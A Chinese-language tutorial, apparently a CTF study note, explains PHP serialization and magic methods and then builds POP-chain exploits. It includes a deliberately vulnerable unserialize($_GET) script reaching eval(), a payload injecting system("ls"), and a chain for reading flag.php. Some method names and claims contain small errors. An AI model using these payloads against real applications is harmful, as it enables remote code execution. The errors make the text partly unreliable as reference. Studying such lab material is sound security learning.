什么是序列化(serialization)?
序列化是指将对象的状态属性转化为可存储传输的形式的过程。
序列化后的表达形式:
反序列化:
就是将字符串反序列化装换成对象。
转换后有以下特性:
1.反序列化的字符可以覆盖预定义对象的值。
2.反序列化不会触发方法。除非有魔术方法
魔术方法:
一个预定义的,在特定情况下自动触发的方法。
_constract();
构造函数,在实例化一个对象的时候会去自动执行的一个方法。
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
/*$test = new User("benben");在new一个对象时
触发了构造函数1次*/
_destruct();
当对象引用完成或者对象销毁的时候触发。
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
/*当 unserialize($ser);执行完成后触发第一次_destruct().
当程序执行完毕后销毁对象再次触发_destruct().
触发了析构函数1次
触发了析构函数1次*/
_sleep();
触发时机:在使用serialize()之前触发
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
当serilaze调用触发__sleep()
_weackup():
触发时机:在使用unserialize()之后触发
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
unserialize()之后触发魔术方法__wakeup()
_tostring():
触发时机:当对象被错误的调用为字符串时触发
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
错误使用print_r输出对象,触发魔术方法__toString()
_invoke():
触发时机:把对象当做函数调用时触发
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>
错误调用对象名字+()触发魔术方法__invoke()
_call():
触发时机:调用一个不存在的方法
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>
当调用对象中不存在的方法callxx('a')触发__call($arg1,$arg2)魔术方法
_callstatic():
触发时机:静态调用或者调用成员常量时使用的方法不存在
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
当调用test下不存在的callxxx静态方法或者不存在的静态变量触发__callStatic($arg1,$arg2)魔术方法
_get():
触发时机:调用的成员属性不存在
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>
_set():
触发时机:给不存在的成员属性赋值
_isset():
触发时机:对不可访问的属性使用isset()或者empty()
_unset():
触发时机:对不可访问的属性使用unset()
_clone():
触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用_clone()魔术方法
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
pop链前置基础
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
分析发现可利用的地方在eval($this->test2);
反方向取寻找到:index->public function __destruct()魔术方法可能调用action
分析发现可控参数test,可以传入反序列化对象覆盖index->test变量,让他的值是evil对象即可成功调用action
反序列化覆盖index前,应该先把evil中的test2变量传入想要的值,然后反序列化覆盖原来空值
pyload:
<?php
class index {
var $test;
}
class evil {
var $test2;
}
$a=new evil();
$a->test2='system("ls");';
$b=new index();
$b->test=$a;
echo serialize($b);
?>
注意:
输出的值还不是最终结果,还需修改:
1:private属性的变量受保护,反序列化后为%00value%00,所以要修改长度和值
2:"system("ls")"还需要添加一个分号
最终pyload:?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("ls");";}}
POP链经典例题:
flag in flag.php
<?php
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
构造pyload:
$test=new Test();
$modifier=new Modifier();
$show=new Show();
$test->p=$modifier;
$show->str=$test;
$show->source=$show;
echo serialize($show);
将显示的结果私有属性处改为%00object%00value,并修改长度即可